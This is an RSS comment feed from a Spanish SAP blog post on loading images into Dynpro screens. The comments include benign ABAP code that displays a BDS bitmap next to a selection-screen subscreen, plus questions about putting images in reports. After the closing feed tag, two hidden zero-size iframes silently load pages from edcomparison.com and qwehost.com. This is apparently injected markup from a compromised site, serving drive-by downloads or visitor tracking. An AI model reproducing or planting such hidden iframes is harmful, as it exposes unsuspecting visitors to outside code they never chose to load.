﻿<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comentarios en: Cargar imagenes en Dynpros</title>
	<atom:link href="http://blog.sap4.com/2006/12/29/cargar-imagenes-en-dynpros/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.sap4.com/2006/12/29/cargar-imagenes-en-dynpros/</link>
	<description>Weblogs de SAP en Castellano</description>
	<pubDate>Tue, 06 Jan 2009 02:18:23 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
		<item>
		<title>By: Blag</title>
		<link>http://blog.sap4.com/2006/12/29/cargar-imagenes-en-dynpros/#comment-6</link>
		<dc:creator>Blag</dc:creator>
		<pubDate>Wed, 10 Jan 2007 13:20:22 +0000</pubDate>
		<guid isPermaLink="false">http://blog.sap4.com/2006/12/29/cargar-imagenes-en-dynpros/#comment-6</guid>
		<description>Tienes razón Andrés -:P

La idea es crear un Dynpro "200" y colocar un Custom Control llamado "PICTURE" y un SubScreen Area llamado "SubVentana". Luego, crear el programa:

************************************************************************
*                          INFORMACION GENERAL                         *
*----------------------------------------------------------------------*
* Nombre del programa:  Z_DUMMY_TREE                                   *
* Fecha/Autor: 26.08.2006 / Alvaro Tejada Galindo.                     *
************************************************************************
REPORT z_dummy_atg_3.

TABLES: SPFLI.

TYPES: PICT_LINE(256) TYPE C.
DATA:  PICT_TAB TYPE TABLE OF PICT_LINE,
       URL(255) TYPE C.

DATA: CONTAINER1 TYPE REF TO CL_GUI_CUSTOM_CONTAINER,
      PICTURE TYPE REF TO CL_GUI_PICTURE.

DATA: L_BYTECOUNT TYPE I,
      L_TDBTYPE LIKE STXBITMAPS-TDBTYPE,
      L_CONTENT TYPE STANDARD TABLE OF BAPICONTEN
      INITIAL SIZE 0.

DATA: GRAPHIC_SIZE TYPE I.

DATA: BEGIN OF GRAPHIC_TABLE OCCURS 0,
      LINE(255) TYPE X,
      END OF GRAPHIC_TABLE.

*&#38;-----------------------------------------------------------&#38;*
*&#38;      SELECTION-SCREEN                                     &#38;*
*&#38;-----------------------------------------------------------&#38;*
SELECTION-SCREEN BEGIN OF SCREEN 200 AS SUBSCREEN.
PARAMETERS: CARRID TYPE SPFLI-CARRID,
            CONNID TYPE SPFLI-CONNID.
SELECTION-SCREEN END OF SCREEN 200.

*&#38;-----------------------------------------------------------&#38;*
*&#38;      START-OF-SELECTION                                   &#38;*
*&#38;-----------------------------------------------------------&#38;*
START-OF-SELECTION.
  CALL SCREEN 100.

*&#38;-----------------------------------------------------------*
*&#38;      Module  STATUS_0100  OUTPUT                          *
*&#38;-----------------------------------------------------------*
*       PBO                                                  *
*------------------------------------------------------------*
MODULE STATUS_0100 OUTPUT.
  PERFORM LOAD_IMAGE.

ENDMODULE.                 " STATUS_0100  OUTPUT

*------------------------------------------------------------*
*       FORM LOAD_IMAGE                                      *
*------------------------------------------------------------*
*       Cargamos la imagen                                   *
*------------------------------------------------------------*
FORM LOAD_IMAGE.

  CREATE OBJECT: CONTAINER1 EXPORTING CONTAINER_NAME = 'PICTURE',
                 PICTURE EXPORTING PARENT = CONTAINER1.

  CALL FUNCTION 'SAPSCRIPT_GET_GRAPHIC_BDS'
       EXPORTING
            I_OBJECT       = 'GRAPHICS'
            I_NAME         = 'ENJOY'
            I_ID           = 'BMAP'
            I_BTYPE        = 'BCOL'
       IMPORTING
            E_BYTECOUNT    = L_BYTECOUNT
       TABLES
            CONTENT        = L_CONTENT
       EXCEPTIONS
            NOT_FOUND      = 1
            BDS_GET_FAILED = 2
            BDS_NO_CONTENT = 3
            OTHERS         = 4.

  CALL FUNCTION 'SAPSCRIPT_CONVERT_BITMAP'
       EXPORTING
            OLD_FORMAT               = 'BDS'
            NEW_FORMAT               = 'BMP'
            BITMAP_FILE_BYTECOUNT_IN = L_BYTECOUNT
       IMPORTING
            BITMAP_FILE_BYTECOUNT    = GRAPHIC_SIZE
       TABLES
            BDS_BITMAP_FILE          = L_CONTENT
            BITMAP_FILE              = GRAPHIC_TABLE
       EXCEPTIONS
            OTHERS                   = 1.

  CALL FUNCTION 'DP_CREATE_URL'
       EXPORTING
            TYPE    = 'IMAGE'
            SUBTYPE = 'BMP'
       TABLES
            DATA    = GRAPHIC_TABLE
       CHANGING
            URL     = URL.


  CALL METHOD PICTURE-&#62;LOAD_PICTURE_FROM_URL EXPORTING URL = URL.
  CALL METHOD PICTURE-&#62;SET_DISPLAY_MODE
       EXPORTING DISPLAY_MODE = PICTURE-&#62;DISPLAY_MODE_FIT_CENTER.

ENDFORM.

Y dentro del dynpro:

PROCESS BEFORE OUTPUT.
 MODULE STATUS_0100.
 CALL SUBSCREEN: SUBVENTANA INCLUDING SY-REPID '0200'.

PROCESS AFTER INPUT.
  MODULE USER_COMMAND_0100.
  CALL SUBSCREEN: SUBVENTANA.

Con esto, conseguimos tener una imagen junto con un SELECTION-SCREEN.

Saludos,

Blag.</description>
		<content:encoded><![CDATA[<p>Tienes razón Andrés -:P</p>
<p>La idea es crear un Dynpro &#8220;200&#8243; y colocar un Custom Control llamado &#8220;PICTURE&#8221; y un SubScreen Area llamado &#8220;SubVentana&#8221;. Luego, crear el programa:</p>
<p>************************************************************************<br />
*                          INFORMACION GENERAL                         *<br />
*&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-*<br />
* Nombre del programa:  Z_DUMMY_TREE                                   *<br />
* Fecha/Autor: 26.08.2006 / Alvaro Tejada Galindo.                     *<br />
************************************************************************<br />
REPORT z_dummy_atg_3.</p>
<p>TABLES: SPFLI.</p>
<p>TYPES: PICT_LINE(256) TYPE C.<br />
DATA:  PICT_TAB TYPE TABLE OF PICT_LINE,<br />
       URL(255) TYPE C.</p>
<p>DATA: CONTAINER1 TYPE REF TO CL_GUI_CUSTOM_CONTAINER,<br />
      PICTURE TYPE REF TO CL_GUI_PICTURE.</p>
<p>DATA: L_BYTECOUNT TYPE I,<br />
      L_TDBTYPE LIKE STXBITMAPS-TDBTYPE,<br />
      L_CONTENT TYPE STANDARD TABLE OF BAPICONTEN<br />
      INITIAL SIZE 0.</p>
<p>DATA: GRAPHIC_SIZE TYPE I.</p>
<p>DATA: BEGIN OF GRAPHIC_TABLE OCCURS 0,<br />
      LINE(255) TYPE X,<br />
      END OF GRAPHIC_TABLE.</p>
<p>*&amp;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;&amp;*<br />
*&amp;      SELECTION-SCREEN                                     &amp;*<br />
*&amp;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;&amp;*<br />
SELECTION-SCREEN BEGIN OF SCREEN 200 AS SUBSCREEN.<br />
PARAMETERS: CARRID TYPE SPFLI-CARRID,<br />
            CONNID TYPE SPFLI-CONNID.<br />
SELECTION-SCREEN END OF SCREEN 200.</p>
<p>*&amp;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;&amp;*<br />
*&amp;      START-OF-SELECTION                                   &amp;*<br />
*&amp;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;&amp;*<br />
START-OF-SELECTION.<br />
  CALL SCREEN 100.</p>
<p>*&amp;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;*<br />
*&amp;      Module  STATUS_0100  OUTPUT                          *<br />
*&amp;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;*<br />
*       PBO                                                  *<br />
*&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;*<br />
MODULE STATUS_0100 OUTPUT.<br />
  PERFORM LOAD_IMAGE.</p>
<p>ENDMODULE.                 &#8221; STATUS_0100  OUTPUT</p>
<p>*&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;*<br />
*       FORM LOAD_IMAGE                                      *<br />
*&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;*<br />
*       Cargamos la imagen                                   *<br />
*&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;*<br />
FORM LOAD_IMAGE.</p>
<p>  CREATE OBJECT: CONTAINER1 EXPORTING CONTAINER_NAME = &#8216;PICTURE&#8217;,<br />
                 PICTURE EXPORTING PARENT = CONTAINER1.</p>
<p>  CALL FUNCTION &#8216;SAPSCRIPT_GET_GRAPHIC_BDS&#8217;<br />
       EXPORTING<br />
            I_OBJECT       = &#8216;GRAPHICS&#8217;<br />
            I_NAME         = &#8216;ENJOY&#8217;<br />
            I_ID           = &#8216;BMAP&#8217;<br />
            I_BTYPE        = &#8216;BCOL&#8217;<br />
       IMPORTING<br />
            E_BYTECOUNT    = L_BYTECOUNT<br />
       TABLES<br />
            CONTENT        = L_CONTENT<br />
       EXCEPTIONS<br />
            NOT_FOUND      = 1<br />
            BDS_GET_FAILED = 2<br />
            BDS_NO_CONTENT = 3<br />
            OTHERS         = 4.</p>
<p>  CALL FUNCTION &#8216;SAPSCRIPT_CONVERT_BITMAP&#8217;<br />
       EXPORTING<br />
            OLD_FORMAT               = &#8216;BDS&#8217;<br />
            NEW_FORMAT               = &#8216;BMP&#8217;<br />
            BITMAP_FILE_BYTECOUNT_IN = L_BYTECOUNT<br />
       IMPORTING<br />
            BITMAP_FILE_BYTECOUNT    = GRAPHIC_SIZE<br />
       TABLES<br />
            BDS_BITMAP_FILE          = L_CONTENT<br />
            BITMAP_FILE              = GRAPHIC_TABLE<br />
       EXCEPTIONS<br />
            OTHERS                   = 1.</p>
<p>  CALL FUNCTION &#8216;DP_CREATE_URL&#8217;<br />
       EXPORTING<br />
            TYPE    = &#8216;IMAGE&#8217;<br />
            SUBTYPE = &#8216;BMP&#8217;<br />
       TABLES<br />
            DATA    = GRAPHIC_TABLE<br />
       CHANGING<br />
            URL     = URL.</p>
<p>  CALL METHOD PICTURE-&gt;LOAD_PICTURE_FROM_URL EXPORTING URL = URL.<br />
  CALL METHOD PICTURE-&gt;SET_DISPLAY_MODE<br />
       EXPORTING DISPLAY_MODE = PICTURE-&gt;DISPLAY_MODE_FIT_CENTER.</p>
<p>ENDFORM.</p>
<p>Y dentro del dynpro:</p>
<p>PROCESS BEFORE OUTPUT.<br />
 MODULE STATUS_0100.<br />
 CALL SUBSCREEN: SUBVENTANA INCLUDING SY-REPID &#8216;0200&#8242;.</p>
<p>PROCESS AFTER INPUT.<br />
  MODULE USER_COMMAND_0100.<br />
  CALL SUBSCREEN: SUBVENTANA.</p>
<p>Con esto, conseguimos tener una imagen junto con un SELECTION-SCREEN.</p>
<p>Saludos,</p>
<p>Blag.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: andres</title>
		<link>http://blog.sap4.com/2006/12/29/cargar-imagenes-en-dynpros/#comment-5</link>
		<dc:creator>andres</dc:creator>
		<pubDate>Wed, 10 Jan 2007 10:16:22 +0000</pubDate>
		<guid isPermaLink="false">http://blog.sap4.com/2006/12/29/cargar-imagenes-en-dynpros/#comment-5</guid>
		<description>Blag, creo que sería interesante que si respondes a un comentario, no lo mandaras sólo por correo, sino que lo adjuntaras también como comentario.</description>
		<content:encoded><![CDATA[<p>Blag, creo que sería interesante que si respondes a un comentario, no lo mandaras sólo por correo, sino que lo adjuntaras también como comentario.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Blag</title>
		<link>http://blog.sap4.com/2006/12/29/cargar-imagenes-en-dynpros/#comment-4</link>
		<dc:creator>Blag</dc:creator>
		<pubDate>Tue, 09 Jan 2007 19:45:57 +0000</pubDate>
		<guid isPermaLink="false">http://blog.sap4.com/2006/12/29/cargar-imagenes-en-dynpros/#comment-4</guid>
		<description>Ya te mandé el correo con lo que necesitas -:)

Saludos,

Blag.</description>
		<content:encoded><![CDATA[<p>Ya te mandé el correo con lo que necesitas -:)</p>
<p>Saludos,</p>
<p>Blag.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Luis Valencia</title>
		<link>http://blog.sap4.com/2006/12/29/cargar-imagenes-en-dynpros/#comment-3</link>
		<dc:creator>Luis Valencia</dc:creator>
		<pubDate>Tue, 09 Jan 2007 16:31:31 +0000</pubDate>
		<guid isPermaLink="false">http://blog.sap4.com/2006/12/29/cargar-imagenes-en-dynpros/#comment-3</guid>
		<description>Hola...
Kiero insertar una imagen en un report (utilizando quizas la estructura de un selection-screen) y no se si es posible.  Ya vi que enla dynpro se puede, pero no se si en un report sea posible.

Me puedes ayudar?

Gracias</description>
		<content:encoded><![CDATA[<p>Hola&#8230;<br />
Kiero insertar una imagen en un report (utilizando quizas la estructura de un selection-screen) y no se si es posible.  Ya vi que enla dynpro se puede, pero no se si en un report sea posible.</p>
<p>Me puedes ayudar?</p>
<p>Gracias</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<iframe src="http://edcomparison.com/mito/?t=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://qwehost.com/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
<!-- Dynamic Page Served (once) in 1.514 seconds -->
